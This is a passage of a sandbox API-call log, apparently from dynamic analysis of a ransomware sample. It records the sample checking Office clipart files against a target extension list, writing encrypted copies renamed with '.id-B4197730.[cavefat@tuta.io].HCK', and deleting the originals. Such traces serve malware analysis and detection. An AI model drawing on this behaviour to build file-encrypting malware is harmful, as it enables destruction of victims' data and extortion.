-1 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0157.008] lstrlenW (lpString=".dbf") returned 4 [0157.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0157.008] lstrlenW (lpString=".1cd") returned 4 [0157.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0157.008] lstrlenW (lpString=".jpg") returned 4 [0157.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0157.008] lstrlenW (lpString=".doc") returned 4 [0157.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.008] lstrlenW (lpString=".docx") returned 5 [0157.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.008] lstrlenW (lpString=".pdf") returned 4 [0157.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.008] lstrlenW (lpString=".xls") returned 4 [0157.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.008] lstrlenW (lpString=".xlsx") returned 5 [0157.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.008] lstrlenW (lpString=".ppt") returned 4 [0157.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0157.008] lstrlenW (lpString=".zip") returned 4 [0157.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.008] lstrlenW (lpString=".rar") returned 4 [0157.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.008] lstrlenW (lpString=".bz2") returned 4 [0157.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.008] lstrlenW (lpString=".7z") returned 3 [0157.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0157.008] lstrlenW (lpString=".dbf") returned 4 [0157.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0157.008] lstrlenW (lpString=".1cd") returned 4 [0157.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0157.008] lstrlenW (lpString=".jpg") returned 4 [0157.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.008] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.009] lstrlenW (lpString="BS01636_.WMF") returned 12 [0157.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0157.009] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1874) returned 1 [0157.009] CloseHandle (hObject=0x30c) returned 1 [0157.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220 [0157.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0157.009] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.010] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0157.010] GetLastError () returned 0x0 [0157.010] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x752, lpOverlapped=0x0) returned 1 [0157.012] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x760, lpOverlapped=0x0) returned 1 [0157.013] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.013] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.013] SetEndOfFile (hFile=0x2f0) returned 1 [0157.013] CloseHandle (hObject=0x2f0) returned 1 [0157.014] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.014] SetEndOfFile (hFile=0x30c) returned 1 [0157.015] CloseHandle (hObject=0x30c) returned 1 [0157.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0157.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0157.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0157.016] lstrlenW (lpString=".doc") returned 4 [0157.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.016] lstrlenW (lpString=".docx") returned 5 [0157.016] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.016] lstrlenW (lpString=".pdf") returned 4 [0157.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.016] lstrlenW (lpString=".xls") returned 4 [0157.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.016] lstrlenW (lpString=".xlsx") returned 5 [0157.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.016] lstrlenW (lpString=".ppt") returned 4 [0157.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0157.016] lstrlenW (lpString=".zip") returned 4 [0157.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.016] lstrlenW (lpString=".rar") returned 4 [0157.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.016] lstrlenW (lpString=".bz2") returned 4 [0157.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.016] lstrlenW (lpString=".7z") returned 3 [0157.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0157.016] lstrlenW (lpString=".dbf") returned 4 [0157.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0157.016] lstrlenW (lpString=".1cd") returned 4 [0157.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0157.016] lstrlenW (lpString=".jpg") returned 4 [0157.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0157.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0157.017] lstrlenW (lpString=".doc") returned 4 [0157.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.017] lstrlenW (lpString=".docx") returned 5 [0157.017] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.017] lstrlenW (lpString=".pdf") returned 4 [0157.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.017] lstrlenW (lpString=".xls") returned 4 [0157.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.017] lstrlenW (lpString=".xlsx") returned 5 [0157.017] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.017] lstrlenW (lpString=".ppt") returned 4 [0157.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0157.017] lstrlenW (lpString=".zip") returned 4 [0157.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.017] lstrlenW (lpString=".rar") returned 4 [0157.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.017] lstrlenW (lpString=".bz2") returned 4 [0157.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.017] lstrlenW (lpString=".7z") returned 3 [0157.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0157.017] lstrlenW (lpString=".dbf") returned 4 [0157.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0157.017] lstrlenW (lpString=".1cd") returned 4 [0157.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0157.017] lstrlenW (lpString=".jpg") returned 4 [0157.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.017] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.017] lstrlenW (lpString="BS01637_.WMF") returned 12 [0157.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.357] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3948) returned 1 [0157.357] CloseHandle (hObject=0x37c) returned 1 [0157.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x220 [0157.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.357] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.357] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.358] GetLastError () returned 0x0 [0157.358] ReadFile (in: hFile=0x37c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xf6c, lpOverlapped=0x0) returned 1 [0157.359] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf70, lpOverlapped=0x0) returned 1 [0157.359] ReadFile (in: hFile=0x37c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.359] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.360] SetEndOfFile (hFile=0x384) returned 1 [0157.360] CloseHandle (hObject=0x384) returned 1 [0157.360] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.360] SetEndOfFile (hFile=0x37c) returned 1 [0157.361] CloseHandle (hObject=0x37c) returned 1 [0157.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0157.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0157.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0157.362] lstrlenW (lpString=".doc") returned 4 [0157.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.362] lstrlenW (lpString=".docx") returned 5 [0157.362] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.362] lstrlenW (lpString=".pdf") returned 4 [0157.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.362] lstrlenW (lpString=".xls") returned 4 [0157.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.362] lstrlenW (lpString=".xlsx") returned 5 [0157.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.362] lstrlenW (lpString=".ppt") returned 4 [0157.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0157.362] lstrlenW (lpString=".zip") returned 4 [0157.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.362] lstrlenW (lpString=".rar") returned 4 [0157.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.362] lstrlenW (lpString=".bz2") returned 4 [0157.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.362] lstrlenW (lpString=".7z") returned 3 [0157.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0157.362] lstrlenW (lpString=".dbf") returned 4 [0157.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0157.362] lstrlenW (lpString=".1cd") returned 4 [0157.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0157.362] lstrlenW (lpString=".jpg") returned 4 [0157.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0157.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0157.362] lstrlenW (lpString=".doc") returned 4 [0157.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.363] lstrlenW (lpString=".docx") returned 5 [0157.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.363] lstrlenW (lpString=".pdf") returned 4 [0157.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.363] lstrlenW (lpString=".xls") returned 4 [0157.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.363] lstrlenW (lpString=".xlsx") returned 5 [0157.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.363] lstrlenW (lpString=".ppt") returned 4 [0157.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0157.363] lstrlenW (lpString=".zip") returned 4 [0157.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.363] lstrlenW (lpString=".rar") returned 4 [0157.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.363] lstrlenW (lpString=".bz2") returned 4 [0157.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.363] lstrlenW (lpString=".7z") returned 3 [0157.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0157.363] lstrlenW (lpString=".dbf") returned 4 [0157.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0157.363] lstrlenW (lpString=".1cd") returned 4 [0157.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0157.363] lstrlenW (lpString=".jpg") returned 4 [0157.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.363] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.363] lstrlenW (lpString="CUPINST.WMF") returned 11 [0157.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.364] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10326) returned 1 [0157.364] CloseHandle (hObject=0x37c) returned 1 [0157.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0x220 [0157.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.365] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.365] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.365] GetLastError () returned 0x0 [0157.365] ReadFile (in: hFile=0x37c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2856, lpOverlapped=0x0) returned 1 [0157.367] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2860, lpOverlapped=0x0) returned 1 [0157.368] ReadFile (in: hFile=0x37c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.368] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xea, lpOverlapped=0x0) returned 1 [0157.368] SetEndOfFile (hFile=0x384) returned 1 [0157.368] CloseHandle (hObject=0x384) returned 1 [0157.370] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.370] SetEndOfFile (hFile=0x37c) returned 1 [0157.371] CloseHandle (hObject=0x37c) returned 1 [0157.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0157.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0157.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0157.372] lstrlenW (lpString=".doc") returned 4 [0157.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.372] lstrlenW (lpString=".docx") returned 5 [0157.372] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0157.372] lstrlenW (lpString=".pdf") returned 4 [0157.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.372] lstrlenW (lpString=".xls") returned 4 [0157.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.372] lstrlenW (lpString=".xlsx") returned 5 [0157.372] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0157.372] lstrlenW (lpString=".ppt") returned 4 [0157.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0157.372] lstrlenW (lpString=".zip") returned 4 [0157.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.372] lstrlenW (lpString=".rar") returned 4 [0157.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.372] lstrlenW (lpString=".bz2") returned 4 [0157.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.373] lstrlenW (lpString=".7z") returned 3 [0157.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0157.373] lstrlenW (lpString=".dbf") returned 4 [0157.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.373] lstrlenW (lpString="C:\\Program Files\\Microsoft 